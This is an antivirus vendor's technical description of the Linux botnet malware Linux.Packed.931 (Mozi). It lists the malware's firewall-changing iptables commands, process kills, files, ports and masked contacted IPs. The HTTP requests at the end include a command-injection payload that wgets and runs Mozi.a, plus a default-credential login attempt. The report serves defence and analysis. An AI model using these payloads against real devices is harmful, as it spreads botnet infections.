マイライブラリ
マイライブラリ

+ マイライブラリに追加

電話

お問い合わせ履歴

電話(英語)

+7 (495) 789-45-86

Profile

Linux.Packed.931

Added to the Dr.Web virus database: 2020-09-29

Virus description added:

Technical Information

Malicious functions:
Launches itself as a daemon
Substitutes application name for:
  • sshd
Modifies firewall settings:
  • iptables -I INPUT -p tcp --destination-port 32928 -j ACCEPT
  • iptables -I OUTPUT -p tcp --source-port 32928 -j ACCEPT
  • iptables -I PREROUTING -t nat -p tcp --destination-port 32928 -j ACCEPT
  • iptables -I POSTROUTING -t nat -p tcp --source-port 32928 -j ACCEPT
  • iptables -I INPUT -p tcp --dport 32928 -j ACCEPT
  • iptables -I INPUT -p tcp --destination-port 22 -j DROP
  • iptables -I OUTPUT -p tcp --sport 32928 -j ACCEPT
  • iptables -I INPUT -p tcp --destination-port 23 -j DROP
  • iptables -I PREROUTING -t nat -p tcp --dport 32928 -j ACCEPT
  • iptables -I INPUT -p tcp --destination-port 2323 -j DROP
  • iptables -I POSTROUTING -t nat -p tcp --sport 32928 -j ACCEPT
  • iptables -I OUTPUT -p tcp --source-port 22 -j DROP
  • iptables -I OUTPUT -p tcp --source-port 23 -j DROP
  • iptables -I OUTPUT -p tcp --source-port 2323 -j DROP
  • iptables -I INPUT -p tcp --dport 22 -j DROP
  • iptables -I INPUT -p tcp --dport 23 -j DROP
  • iptables -I INPUT -p tcp --dport 2323 -j DROP
  • iptables -I OUTPUT -p tcp --sport 22 -j DROP
  • iptables -I OUTPUT -p tcp --sport 23 -j DROP
  • iptables -I OUTPUT -p tcp --sport 2323 -j DROP
  • iptables -I INPUT -p udp --destination-port 42356 -j ACCEPT
  • iptables -I OUTPUT -p udp --source-port 42356 -j ACCEPT
  • iptables -I PREROUTING -t nat -p udp --destination-port 42356 -j ACCEPT
  • iptables -I POSTROUTING -t nat -p udp --source-port 42356 -j ACCEPT
  • iptables -I INPUT -p udp --dport 42356 -j ACCEPT
  • iptables -I OUTPUT -p udp --sport 42356 -j ACCEPT
  • iptables -I PREROUTING -t nat -p udp --dport 42356 -j ACCEPT
  • iptables -I POSTROUTING -t nat -p udp --sport 42356 -j ACCEPT
Launches processes:
  • sh -c killall -9 telnetd utelnetd scfgmgr
  • sh -c iptables -I INPUT -p tcp --destination-port 32928 -j ACCEPT
  • sh -c iptables -I OUTPUT -p tcp --source-port 32928 -j ACCEPT
  • sh -c iptables -I PREROUTING -t nat -p tcp --destination-port 32928 -j ACCEPT
  • sh -c iptables -I POSTROUTING -t nat -p tcp --source-port 32928 -j ACCEPT
  • sh -c iptables -I INPUT -p tcp --dport 32928 -j ACCEPT
  • sh -c iptables -I INPUT -p tcp --destination-port 22 -j DROP
  • sh -c iptables -I OUTPUT -p tcp --sport 32928 -j ACCEPT
  • sh -c iptables -I INPUT -p tcp --destination-port 23 -j DROP
  • sh -c iptables -I PREROUTING -t nat -p tcp --dport 32928 -j ACCEPT
  • sh -c iptables -I INPUT -p tcp --destination-port 2323 -j DROP
  • sh -c iptables -I POSTROUTING -t nat -p tcp --sport 32928 -j ACCEPT
  • sh -c iptables -I OUTPUT -p tcp --source-port 22 -j DROP
  • sh -c iptables -I OUTPUT -p tcp --source-port 23 -j DROP
  • sh -c iptables -I OUTPUT -p tcp --source-port 2323 -j DROP
  • sh -c iptables -I INPUT -p tcp --dport 22 -j DROP
  • sh -c iptables -I INPUT -p tcp --dport 23 -j DROP
  • sh -c iptables -I INPUT -p tcp --dport 2323 -j DROP
  • sh -c iptables -I OUTPUT -p tcp --sport 22 -j DROP
  • sh -c iptables -I OUTPUT -p tcp --sport 23 -j DROP
  • sh -c iptables -I OUTPUT -p tcp --sport 2323 -j DROP
  • sh -c iptables -I INPUT -p udp --destination-port 42356 -j ACCEPT
  • sh -c iptables -I OUTPUT -p udp --source-port 42356 -j ACCEPT
  • sh -c iptables -I PREROUTING -t nat -p udp --destination-port 42356 -j ACCEPT
  • sh -c iptables -I POSTROUTING -t nat -p udp --source-port 42356 -j ACCEPT
  • sh -c iptables -I INPUT -p udp --dport 42356 -j ACCEPT
  • sh -c iptables -I OUTPUT -p udp --sport 42356 -j ACCEPT
  • sh -c iptables -I PREROUTING -t nat -p udp --dport 42356 -j ACCEPT
  • sh -c iptables -I POSTROUTING -t nat -p udp --sport 42356 -j ACCEPT
Attempts to kill the following processes:
  • killall -9 telnetd utelnetd scfgmgr
Performs operations with the file system:
Creates or modifies files:
  • /root/.ips
  • /root/.config
Network activity:
Awaits incoming connections on ports:
  • 127.0.0.1:14737
  • 0.0.0.0:33445
  • 0.0.0.0:32928
  • 0.0.0.0:42356
Establishes connection:
  • 8.#.8.8:53
  • 23.###.201.63:8080
  • 7.##.240.67:80
  • 12#.##7.211.53:80
  • 12#.##.130.5:49152
  • 49.###.44.155:8080
  • 21.##.28.171:8081
  • 50.###.69.215:8181
  • 14#.###.107.207:37215
  • 16#.#0.232.4:80
  • 25.##5.39.0:80
  • 20#.###.249.147:5555
  • 70.###.194.111:8443
  • 18#.##2.95.178:7574
  • 80.##.95.10:49152
  • 99.##.107.197:8080
  • 92.#.40.130:80
  • 65.#.#85.131:7574
  • 22.##.210.197:80
  • 19#.##.100.73:8080
  • 15#.###.241.229:8080
  • 15#.##4.7.201:37215
  • 47.###.133.52:80
  • 37.###.10.227:8080
  • 87.###.140.207:8181
  • 14#.##.123.95:80
  • 18#.##.194.245:8080
  • 72.##.160.165:8081
  • 10#.###.153.182:8081
  • 65.###.32.107:8081
  • 20#.##.117.86:8080
  • 13#.##.186.155:80
  • 19#.##5.147.132:80
  • 21#.###.235.201:8080
  • 15#.##.211.14:8081
  • 10#.##6.132.231:80
  • 12#.##6.113.137:80
  • 22.##.31.254:80
  • 15#.##.204.40:8080
  • 39.##.206.50:49152
  • 63.###.225.247:60001
  • 17#.#4.85.16:80
  • 56.###.189.225:49152
  • 10#.###.68.223:37215
  • 31.###.123.78:8080
  • 68.##.173.154:80
  • 38.##.242.159:8080
  • 12#.##.131.117:8443
  • 12#.##2.185.35:8080
  • 15#.##.220.135:8080
  • 16#.##6.55.207:7574
  • 11#.##.18.234:8080
  • 15#.##.109.53:80
  • 14#.##2.100.47:8181
  • 78.##.172.104:80
  • 37.###.73.175:8080
  • 46.###.157.23:8080
  • 11#.##4.50.227:8080
  • 89.##.72.39:80
  • 12#.##8.16.30:8080
  • 13#.##7.149.70:8080
  • 19#.###.214.178:8181
  • 13#.###.150.112:8080
  • 98.###.231.134:8081
  • 13#.###.153.251:8080
  • 18.###.159.210:8080
  • 19.###.1.99:8080
  • 41.###.140.215:80
  • 16#.###.151.197:37215
  • 11#.##6.38.218:80
  • 11#.##3.93.155:8080
  • 15#.##.51.234:8080
  • 19#.##.195.67:8080
  • 17#.###.177.11:37215
  • 75.#.#14.88:5555
  • 92.###.156.120:8443
  • 10#.##.210.106:80
  • 10#.###.156.137:8080
  • 19#.##0.180.86:80
  • 11#.##1.118.250:80
  • 27.###.41.114:80
  • 13#.##.247.118:8081
  • 21#.##.188.105:60001
  • 16#.##5.177.89:80
  • 42.###.227.196:5555
  • 18.##.19.63:8080
  • 25.###.7.210:8080
  • 14#.##3.202.205:80
  • 41.##.14.124:49152
  • 10#.##.198.82:8080
  • 15.###.241.19:80
  • 16#.##.123.139:8081
  • 69.##.97.91:60001
  • 14#.##.140.131:49152
  • 54.###.91.161:8080
  • 10#.##3.23.69:8081
  • 11#.###.67.101:60001
  • 46.###.130.142:80
  • 13#.##1.185.128:80
  • 19#.##5.36.103:80
  • 20.###.33.108:80
  • 8.###.199.47:8080
  • 54.###.154.139:8080
  • 17#.##.147.218:8081
  • 25.###.237.31:80
  • 18#.##.16.24:37215
  • 16#.##4.146.27:80
  • 12#.##2.84.110:80
  • 25.###.22.51:8080
  • 10#.##9.137.55:80
  • 10#.##3.151.81:80
  • 26.##.248.221:81
  • 36.##.126.234:8080
  • 10#.##7.59.112:8081
  • 34.###.97.159:5555
  • 11#.##.148.146:8081
  • 18.###.73.15:49152
  • 20#.#8.246.8:80
  • 42.###.99.5:52869
  • 24.##.30.118:80
  • 78.###.211.93:81
  • 47.###.185.21:8080
  • 21#.##3.62.201:8080
  • 11#.##.139.74:8080
  • 86.###.168.68:8081
  • 15.###.21.176:60001
  • 19#.##0.182.202:80
  • 13#.##.148.121:49152
  • 26.##.213.124:80
  • 17#.##.127.53:8080
  • 71.###.242.171:80
  • 64.###.183.188:49152
  • 20#.##.70.242:5555
  • 75.##.34.88:8080
  • 17#.##.29.247:80
  • 70.###.35.63:8181
  • 19#.###.249.230:8080
  • 38.##.178.67:8080
  • 51.##.11.165:80
  • 14#.##.91.15:8081
  • 14#.##.183.101:80
  • 17#.##1.8.36:8080
  • 12#.##3.52.207:80
  • 79.###.167.65:52869
  • 32.#.#1.201:8080
  • 63.##.156.191:8080
  • 42.###.108.163:8443
  • 53.###.182.72:8080
  • 60.##.136.219:5555
  • 61.##.27.93:37215
  • 65.###.0.197:8081
  • 3.##.156.94:80
  • 14.###.201.39:8080
  • 12.###.106.205:80
  • 32.###.179.128:52869
  • 95.##.7.173:8081
  • 21#.##8.0.3:37215
  • 13#.##0.239.114:80
  • 16#.##0.183.28:8080
  • 14#.##.130.167:8181
  • 13#.##0.199.8:8080
  • 20#.###.179.253:5555
  • 77.##.22.110:49152
  • 33.###.160.254:49152
  • 19#.#.178.167:60001
  • 20#.##.190.45:37215
  • 13#.##.114.87:52869
  • 21#.##.87.137:60001
  • 16#.##.111.120:80
  • 95.###.155.78:37215
  • 17#.#3.121.6:80
  • 42.###.244.107:80
  • 45.##.102.116:80
  • 21#.##.252.11:8443
  • 61.###.67.187:8081
  • 11#.##8.47.226:8080
  • 18.###.80.60:7574
  • 21#.##5.191.114:80
  • 12#.##.16.92:8080
  • 27.##3.67.45:80
  • 18#.###.118.252:8080
  • 40.###.117.183:80
  • 24.##.224.134:8081
  • 19#.##4.108.18:80
  • 12#.##3.72.113:5555
  • 4.###.39.159:80
  • 71.##.253.207:8443
  • 18#.##9.32.204:8181
  • 7.###.18.82:80
  • 17#.##.131.101:80
  • 21#.###.136.143:37215
  • 13#.###.188.59:49152
  • 13.##.142.228:80
  • 7.##.52.32:8081
  • 64.##.44.121:80
  • 20#.###.223.224:52869
  • 17.###.86.204:80
  • 11#.##4.50.94:80
  • 28.###.251.49:8080
  • 22.###.235.182:80
  • 15#.##.171.135:80
  • 20#.##.47.203:80
  • 75.##.172.13:8080
  • 19#.###.70.172:37215
  • 18#.##.36.63:8080
  • 17#.##.68.2:8080
  • 18#.##.143.127:80
  • 21#.##1.85.247:80
  • 36.##.164.48:7574
  • 15#.##2.95.15:80
  • 65.##.59.218:81
  • 21#.##8.195.76:8080
  • 13#.##.179.45:60001
  • 70.###.201.79:8080
  • 17#.##.188.169:8080
  • 54.###.87.93:7574
  • 45.##.29.165:8443
  • 80.##.125.167:8080
  • 17#.#39.4.24:80
  • 70.##.191.110:8443
  • 82.###.26.229:52869
  • 15#.##8.253.149:80
  • 17#.##3.15.59:8080
  • 15#.##.251.11:80
  • 72.##.252.182:80
  • 56.#.#2.114:8080
  • 2.###.65.93:8080
  • 10#.##5.101.199:81
  • 96.###.155.52:5555
  • 12#.##4.1.8:8080
  • 32.##.131.19:80
  • 17#.##.88.226:5555
  • 14.###.142.225:8080
  • 66.##6.1.214:80
  • 16#.##0.7.204:8081
  • 24.##.74.76:60001
  • 10#.###.170.151:7574
  • 11#.##.220.250:8443
  • 17#.##5.142.0:52869
  • 17#.##9.109.144:80
  • 19#.##3.60.24:8080
  • 1.#.#0.141:5555
  • 14#.###.122.209:37215
  • 14#.#.199.250:8080
  • 53.##.72.159:7574
  • 19#.##4.246.6:8081
  • 69.###.194.143:8080
  • 14#.##1.231.94:8081
  • 52.##.110.41:81
  • 41.###.126.212:8080
  • 71.##.6.71:37215
  • 12#.##.238.71:80
  • 36.##.202.143:8080
  • 21#.##2.44.233:8080
  • 20#.##8.161.90:80
  • 19#.###.213.124:52869
  • 17#.#.71.117:81
  • 18#.##3.162.162:80
  • 73.###.254.84:8443
  • 92.###.29.68:5555
  • 19#.##.64.176:8081
  • 46.###.198.18:8080
  • 17#.##8.135.184:80
  • 15#.##6.138.87:80
  • 99.##.56.124:80
  • 17#.###.236.194:8080
  • 21#.##.93.232:80
  • 15#.###.112.121:8081
  • 40.###.237.48:8080
  • 22#.###.125.175:8080
  • 16#.##.104.117:8080
  • 16#.##.34.156:8080
  • 13#.##4.60.114:8081
  • 90.###.195.219:8443
  • 21#.##.135.127:8080
  • 14#.###.180.209:8081
  • 10#.##.44.242:8080
  • 12#.##3.104.217:80
  • 26.###.136.28:80
  • 21#.##.135.83:8081
  • 85.###.3.44:8181
  • 13#.##.157.95:80
  • 18#.###.179.129:52869
  • 18#.##4.158.26:8080
  • 14#.##0.177.83:8181
  • 11#.###.173.226:8443
  • 16#.##2.5.240:8080
  • 80.###.176.11:49152
  • 4.###.134.155:7574
  • 17#.##.55.116:80
  • 10#.##0.211.92:80
  • 46.##.242.83:52869
  • 67.##.156.16:8080
  • 65.###.115.197:8081
  • 12#.###.219.245:49152
  • 17#.##8.21.147:8080
  • 30.##.71.144:52869
  • 63.###.133.103:8080
  • 3.###.46.217:8080
  • 23.###.206.182:8080
  • 13#.##0.201.84:80
  • 16#.##2.248.33:5555
  • 81.###.124.160:5555
  • 38.##.63.234:8080
  • 19#.##.140.23:8080
  • 22.#.67.21:80
  • 74.##.254.200:52869
  • 13#.##5.69.80:8080
  • 11#.##9.13.141:8080
  • 13.###.201.224:81
  • 11#.##.14.235:80
  • 28.###.147.189:80
  • 62.###.79.191:8080
  • <LOCAL_GATE>92:80
  • 90.##.136.64:80
  • 78.##.34.85:8080
  • 20.###.153.209:52869
  • 17#.##8.128.147:80
  • 2.##.#92.126:8080
  • 52.###.93.40:37215
  • 12#.##.133.17:8081
  • 18#.#8.28.48:80
  • 43.##.146.188:8080
  • 38.##2.2.0:8080
  • 39.##3.78.39:81
  • 14#.##.55.170:8080
  • 10#.###.204.102:52869
  • 14#.##.201.225:80
  • 11#.#5.32.67:80
  • 27.###.208.136:80
  • 16#.##4.12.39:8443
  • 22.###.200.115:8080
  • 17#.##7.5.189:8181
  • 43.##.52.4:8080
  • 10#.###.235.237:8080
  • 44.###.95.41:37215
  • 8.###.26.106:8081
  • 14#.##.185.183:8080
  • 22#.###.174.233:8080
  • 70.##.39.192:80
  • 29.###.92.51:8080
  • 13#.##.245.165:8080
  • 62.###.144.161:8080
  • 18#.##6.0.227:80
  • 25.##.119.153:60001
  • 18#.##4.45.188:7574
  • 14#.##4.105.16:8080
  • 19.###.2.226:52869
  • 73.###.14.16:37215
  • 21#.##.83.117:52869
  • 19#.##5.229.74:8443
  • 20#.##.56.144:8443
  • 17#.###.137.126:8080
  • 17#.##.156.78:80
  • 15#.##4.239.38:8181
  • 21#.##4.247.12:8080
  • 29.###.41.148:80
  • 12#.##.252.88:8081
  • 61.###.37.12:52869
  • 19#.##.202.185:52869
  • 10#.##2.22.112:8080
  • 21#.#38.1.35:80
  • 17#.###.219.112:60001
  • 20#.##.54.100:80
  • 12.###.143.36:8080
  • 22.###.45.209:8081
  • 73.###.230.49:80
  • 64.##.116.65:80
  • 36.###.113.120:81
  • 10#.##.192.193:8080
  • 14#.##9.69.122:8181
  • 58.##.28.61:8080
  • 16#.##.164.56:80
  • 19#.##9.64.101:8181
  • 62.##.189.90:37215
  • 2.##.#6.166:8080
  • 19#.##.133.181:80
  • 17#.##.107.65:8080
  • 21#.###.251.212:8443
  • 37.###.114.38:49152
  • 10#.##3.234.77:81
  • 83.###.249.75:8181
  • 99.###.158.252:8080
  • 63.#.#08.203:37215
  • 15#.###.144.219:52869
  • 21#.##.226.79:8080
  • 12#.##.253.16:49152
  • 76.##6.59.25:80
  • 65.###.44.144:80
  • 67.#.67.82:80
  • 6.###.194.126:8080
  • 78.##.173.186:7574
  • 15#.##.145.120:8080
  • 10#.##5.65.202:8080
  • 73.###.173.184:8443
  • 96.##.26.216:5555
  • 6.###.61.37:8081
  • 18#.##.108.158:80
  • 99.###.103.30:80
  • 15#.#.249.80:80
  • 18#.###.159.218:8080
  • 17#.##7.254.8:8181
  • 81.###.103.134:49152
  • 21#.##6.156.8:8443
  • 20#.##0.140.192:80
  • 20#.##8.65.224:8080
  • 59.###.212.206:8081
  • 15#.##.185.128:8443
  • 15#.##.70.27:60001
  • 94.###.141.47:8443
  • 19#.#.217.187:52869
  • 19#.##.223.33:8081
  • 12#.##6.107.32:8080
  • 18#.#.138.221:8081
  • 17#.#1.44.7:80
  • 19#.##.3.140:8080
  • 30.#.76.11:8181
  • 30.##8.69.16:80
  • 87.##.8.204:80
  • 21#.##8.226.18:8080
  • 21#.#3.1.155:80
  • 90.###.130.211:80
  • 15#.##7.110.85:80
  • 26.###.244.99:8443
  • 23.###.126.87:8081
  • 86.###.99.23:8080
  • 5.###.206.151:80
  • 19#.##3.32.45:8081
  • 94.###.121.245:37215
  • 13#.##3.148.232:80
  • 19#.##4.80.92:80
  • 21#.##.225.110:80
  • 11#.###.180.243:8081
  • 38.##.159.90:80
  • 12#.##7.33.194:8080
  • 10#.##.92.121:8080
  • 38.##.238.175:80
  • 21#.##.4.40:8080
  • 16#.##6.50.68:60001
  • 20#.##8.182.139:80
  • 14.###.239.91:80
  • 36.##.251.165:8080
  • 93.##.89.194:8080
  • 11#.##2.210.15:8080
  • 21#.###.144.133:60001
  • 11#.##8.171.13:8081
  • 10#.##.176.47:80
  • 92.###.215.72:8080
  • 94.##9.228.2:80
  • 98.##.136.172:8443
  • 27.###.170.33:8080
  • 16#.###.184.216:37215
  • 25.###.7.186:60001
  • 13#.##.245.108:8080
  • 5.##.44.54:80
  • 50.###.89.58:52869
  • 26.###.111.73:8081
  • 16#.##4.6.16:8080
  • 47.##.76.149:80
  • 19#.##.223.43:8080
  • 44.###.220.248:8081
  • 35.###.186.51:37215
  • 10#.##9.86.124:8080
  • 10#.##6.82.217:80
  • 15#.#.91.193:8443
  • 14.##4.141.2:80
  • 13#.##.211.52:8080
  • 13#.##9.197.97:8080
  • 2.##.1.195:8081
  • 10#.#49.5.32:80
  • 13#.##4.0.154:5555
  • 68.##.208.87:7574
  • 73.##.194.165:80
  • 61.###.48.59:8081
  • 92.###.194.68:81
  • 16#.##.95.118:49152
  • 29.###.157.141:81
  • 63.###.201.222:8080
  • 44.###.53.2:8080
  • 48.###.222.141:80
  • 19#.###.154.234:8443
  • 93.###.156.201:37215
  • 84.###.46.65:8081
  • 96.##.164.60:52869
  • 86.##0.10.4:80
  • 19#.#.46.21:8080
  • 17.##.241.139:52869
  • 4.##.#2.110:8080
  • 92.##.141.223:49152
  • 16#.#.144.34:8181
  • 15#.#.133.240:8080
  • 19#.##4.11.149:80
  • 24.##.199.1:37215
  • 70.##5.6.2:5555
  • 39.###.233.187:80
  • 11.###.115.198:80
  • 11#.###.145.67:60001
  • 19#.##.118.119:8081
  • 16#.##.181.96:80
  • 94.###.135.48:37215
  • 11#.###.247.148:8443
  • 16#.##8.177.49:8080
  • 13#.##3.143.75:5555
  • 17.###.57.57:49152
  • 94.###.133.210:8080
  • 14#.##0.181.231:81
  • 11#.###.234.220:8080
  • 14#.##8.14.34:52869
  • 25.##9.43.70:80
  • 19#.###.200.237:8080
  • 18#.##3.201.237:80
  • 20#.##.40.118:80
  • 19#.##.218.44:80
  • 44.###.246.127:60001
  • 19#.##.233.167:80
  • 19#.##3.157.133:80
  • 20#.#.3.107:8080
  • 21#.##3.117.19:80
  • 44.##6.10.85:80
  • 26.###.141.126:8081
  • 43.###.4.69:7574
  • 34.###.117.36:80
  • 30.###.119.94:80
  • 49.###.19.73:52869
  • 83.##.135.10:8081
  • 11#.##.123.111:80
  • 64.##.226.124:52869
  • 17#.##0.3.153:8443
  • 38.###.147.213:49152
  • 17#.###.228.221:8181
  • 13#.###.117.101:8443
  • 22#.##9.194.185:80
  • 21#.##5.15.151:8080
  • 13#.##1.61.64:49152
  • 66.##.100.112:8080
  • 11#.##3.78.128:80
  • 20#.##.250.247:80
  • 82.###.13.226:8080
  • 11#.##9.15.222:8181
  • 11#.###.118.226:8081
  • 20#.##1.91.226:8443
  • 18#.##7.74.57:8080
  • 10#.##2.21.92:80
  • 32.###.80.136:8081
  • 22.###.49.165:80
  • 19#.##.61.126:80
  • 18#.###.237.212:49152
  • 13#.##8.130.60:5555
  • 95.###.252.92:80
  • 16#.##4.93.208:80
  • 19#.##.72.165:60001
  • 98.###.181.230:80
  • 95.##.227.167:8081
  • 20#.###.237.108:8080
  • 31.##.26.120:8080
  • 65.#.#5.254:8080
  • 14#.#7.31.3:80
  • 10#.###.133.132:8443
  • 13#.##.81.250:7574
  • 11#.##.235.188:80
  • 1.###.145.87:8080
  • 19#.###.100.164:37215
  • 81.###.32.13:37215
  • 52.###.64.65:8081
  • 16#.##7.66.75:80
  • 19#.###.135.231:8080
  • [:##]:42356
  • 127.0.0.1:42356
  • 15#.###.204.11:49152
  • 12#.##3.8.27:8080
  • 21.##.248.210:60001
  • 17#.#92.17.9:81
  • 20#.#8.4.25:80
  • 25.###.107.105:37215
  • 14#.##6.42.12:8081
  • 25.###.123.254:5555
  • 12#.##0.30.131:80
  • 16#.##.141.115:37215
  • 21#.##.201.211:8081
  • 13#.###.189.132:5555
  • 35.##.116.218:8080
  • 13#.##4.44.213:80
  • 29.##1.77.15:80
  • 22#.#7.79.49:81
  • 13#.##4.196.53:7574
  • 10#.##.91.121:81
  • 24.###.231.147:80
  • 11.###.91.212:8080
  • 25.##.141.228:8080
  • 19#.##8.200.204:80
  • 18#.#3.26.29:80
  • 8.##.106.24:80
  • 42.##.175.115:80
  • 11#.##.215.140:8081
  • 12#.#.144.102:80
  • 16#.##.21.210:81
  • 13#.###.234.214:37215
  • 12#.#4.0.195:80
  • 25.###.36.199:80
  • 51.##2.19.92:80
  • 26.##.101.202:5555
  • 18#.###.137.208:8080
  • 45.###.62.229:80
  • 97.##.114.230:8080
  • 76.#.224.162:80
  • 65.###.78.211:60001
  • 2.###.85.239:8080
  • 17.###.28.109:80
  • 72.###.47.126:8443
  • 22#.###.251.174:8080
  • 14#.##.251.192:80
  • 19#.##.102.69:8081
  • 14#.#.198.161:80
  • 93.##.167.143:8181
  • 16#.##1.189.7:60001
  • 13#.##.32.203:80
  • 77.###.164.49:8080
  • 19#.##9.56.172:8080
  • 56.###.247.145:5555
  • 14.###.87.99:8080
  • 13#.##.214.12:52869
  • 10#.##.185.58:80
  • 17#.##3.28.164:8080
  • 10#.##8.40.73:8080
  • 12#.###.192.225:8080
  • 18#.##3.66.86:5555
  • 35.##.244.224:80
  • 57.##.186.228:80
  • 19#.##8.200.41:80
  • 78.##.174.231:80
  • 19#.##.10.62:8080
  • 10#.##.54.71:8080
  • 11#.###.86.244:60001
  • 12#.##2.61.201:5555
  • 22#.###.178.103:8080
  • 39.##.79.58:49152
  • 11#.##5.118.49:80
  • 15#.##.143.163:60001
  • 15#.###.215.243:7574
  • 14.###.207.12:80
  • 12#.##.6.225:8080
  • 87.###.134.113:8080
  • 10#.###.138.166:49152
  • 15#.##4.82.88:8181
  • 89.###.177.120:52869
  • 94.##.70.53:8080
  • 64.###.249.79:8080
  • 11#.##7.215.27:5555
  • 21#.##.254.55:8080
  • 25.##.30.15:60001
  • 80.##.64.121:80
  • 16#.##3.179.23:80
  • 15#.##.28.112:8080
  • 41.###.103.63:37215
  • 96.###.14.126:80
  • 57.###.125.100:8081
  • 6.###.205.212:8443
  • 21#.###.147.13:37215
  • 76.###.4.182:7574
  • 20#.##1.35.171:80
  • 53.###.239.215:8081
  • 6.##.127.166:80
  • 59.#.#16.35:8080
  • 10#.##.162.129:8080
  • 69.##1.112.8:80
  • 17#.##6.64.103:8081
  • 20#.###.156.80:49152
  • 38.###.54.241:8181
  • 19#.##4.42.191:8080
  • 12#.##.248.137:80
  • 55.###.148.207:8080
  • 77.###.146.203:8081
  • 74.###.70.177:8080
  • 71.##.78.165:80
  • 86.##2.58.97:80
  • 10#.##7.149.79:8080
  • 57.##.8.136:8080
  • 19.###.107.115:8080
  • 11#.##.77.76:8443
  • 15#.##7.100.24:81
  • 12#.#7.55.26:80
  • 14#.##.105.73:80
  • 59.##.219.238:80
  • 74.###.170.201:81
  • 19#.###.166.250:8443
  • 16#.###.135.56:37215
  • 14#.###.183.218:49152
  • 14#.##.29.27:8080
  • 78.##.20.76:37215
  • 13.###.126.102:80
  • 14#.###.251.167:60001
  • 95.###.243.131:8080
  • 10#.##9.197.244:80
  • 10#.###.118.226:60001
  • 7.###.203.124:80
  • 21#.##1.46.116:80
  • 13#.##6.114.0:49152
  • 84.###.155.96:8080
  • 60.##.219.53:81
  • 21.###.149.87:52869
  • 31.###.124.194:8081
  • 33.###.157.139:37215
  • 13#.#.233.14:49152
  • 12.##.72.212:8181
  • 32.###.186.130:8080
  • 17#.##2.30.247:8081
  • 70.###.108.61:8080
  • 63.###.97.191:80
  • 20#.##.240.58:7574
  • 11#.##7.55.183:8081
  • 18#.###.77.134:37215
  • 15#.##2.22.114:81
  • 37.##.3.173:80
  • 22#.##.246.103:8080
  • 53.###.122.108:60001
  • 19#.##.108.177:8080
  • 3.###.106.172:81
  • 10#.##1.88.130:80
  • 53.##.138.59:80
  • 48.##.158.55:60001
  • 77.#.#35.25:7574
  • 49.##.107.223:8080
  • 15#.##0.4.110:80
  • 12.###.185.177:81
  • 52.###.233.103:8080
  • 10#.##.14.206:8081
  • 14#.##9.16.112:8080
  • 10#.##0.1.6:8443
  • 12.##.185.99:80
  • 94.###.233.132:81
  • 10#.##3.242.29:8081
  • 10#.###.210.240:8080
  • 46.##.124.249:80
  • 7.##.#6.47:49152
  • 54.###.219.204:49152
  • 53.###.212.24:8181
  • 60.###.54.147:80
  • 35.###.0.108:37215
  • 16#.##9.129.186:80
  • 42.###.14.154:8080
  • 16#.##3.157.156:80
  • 10#.##7.73.129:8080
  • 54.##.5.162:8443
  • 75.###.123.155:8080
  • 16#.##.159.53:8080
  • 19#.##1.232.23:8181
  • 89.###.112.124:80
  • 99.#.40.76:8080
  • 95.##.135.93:80
  • 16#.##.96.71:52869
  • 85.###.117.10:8081
  • 19#.##8.123.193:81
  • 29.###.74.191:80
  • 63.##.252.144:60001
  • 62.###.115.248:80
  • 29.###.114.194:8081
  • 81.#.#7.241:8080
  • 84.##.28.128:8080
  • 39.###.172.111:8081
  • 78.##6.1.7:80
  • 12.###.45.112:8080
  • 36.###.97.67:60001
  • 10#.##7.3.239:8080
  • 19#.##5.68.144:80
  • 19#.###.200.83:60001
  • 18#.###.164.135:60001
  • 21#.##6.75.198:81
  • 17#.###.131.111:8080
  • 29.###.101.210:8181
  • 20#.##6.170.21:8080
  • 10#.##.16.200:8080
  • 73.##.202.17:8181
  • 18#.##3.86.33:37215
  • 33.###.121.129:8081
  • 20#.###.242.106:8081
  • 18#.##.193.154:8081
  • 27.##.94.88:80
  • 17#.##3.89.21:5555
  • 20#.###.174.195:8080
  • 28.##2.3.4:8181
  • 53.###.241.179:8080
  • 67.##.218.47:8181
  • 14#.##.73.238:80
  • 3.##.50.90:8443
  • 22#.##7.122.80:8080
  • 21#.###.98.233:60001
  • 15#.##0.148.73:80
  • 83.###.66.86:8181
  • 97.##.35.119:80
  • 9.###.232.232:80
  • 19#.##.186.53:60001
  • 17.##.54.63:49152
  • 39.###.119.141:81
  • 1.###.84.61:8080
  • 19#.##7.95.163:8080
  • 14#.##.79.55:5555
  • 72.#.#50.189:8080
  • 9.##.50.129:80
  • 7.###.103.230:8080
  • 53.###.64.57:8081
  • 10#.##.44.36:60001
  • 18#.#37.2.13:80
  • 15#.##.202.142:80
  • 20#.##1.19.223:8080
  • 75.##.171.251:80
  • 1.###.67.53:80
  • 20#.###.78.184:60001
  • 18#.###.104.68:49152
  • 36.###.160.184:8081
  • 21.###.145.228:7574
  • 68.###.163.161:8080
  • 23.###.101.54:7574
  • 10#.##2.176.52:7574
  • 10#.#.237.144:80
  • 18#.##5.158.15:8080
  • 88.###.138.163:5555
  • 54.###.160.132:49152
  • 99.###.88.17:52869
  • 16#.##8.54.145:80
  • 84.###.228.87:80
  • 13#.###.243.242:8080
  • 10#.##.140.78:8080
  • 12#.##7.67.102:8080
  • 18#.##.29.209:8080
  • 88.###.132.167:60001
  • 20#.##4.132.88:8080
  • 21#.##6.106.177:80
  • 15#.###.174.103:8080
  • 20#.##.95.252:80
  • 15#.#.232.136:80
  • 18#.#5.149.7:80
  • 10#.##.50.235:60001
  • 17#.##1.159.145:80
  • 20#.##4.239.61:5555
  • 47.##.126.137:52869
  • 12.#.185.140:80
  • 80.###.184.190:8080
  • 20#.##0.166.107:81
  • 18#.#.234.108:81
  • 18.##.133.99:80
  • 16#.##.182.11:60001
  • 88.###.14.80:8080
  • 70.###.88.192:8080
  • 16#.##9.132.152:80
  • 20#.##.40.132:8080
  • 17#.###.116.232:37215
  • 6.##.#20.189:37215
  • 11#.#.155.215:80
  • 16#.##0.122.219:81
  • 20.##3.20.74:80
  • 96.###.41.209:80
  • <LOCAL_GATE>67:80
  • 70.###.68.233:80
  • 76.##.75.29:8081
  • 22#.#5.180.9:80
  • 19#.##6.18.184:8181
  • 26.##.117.126:80
  • 15#.###.187.107:8080
  • 10#.##4.114.7:49152
  • 22#.###.171.219:5555
  • 19#.##.60.88:8181
  • 13#.##2.172.135:80
  • 77.##.42.218:80
  • 19#.###.200.239:8080
HTTP GET requests:
  • http://###.##.##.#########.###########/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron
  • http://###.###.###.####aform/admin/formLogin?username=ec8&psd=ec8
HTTP POST requests:
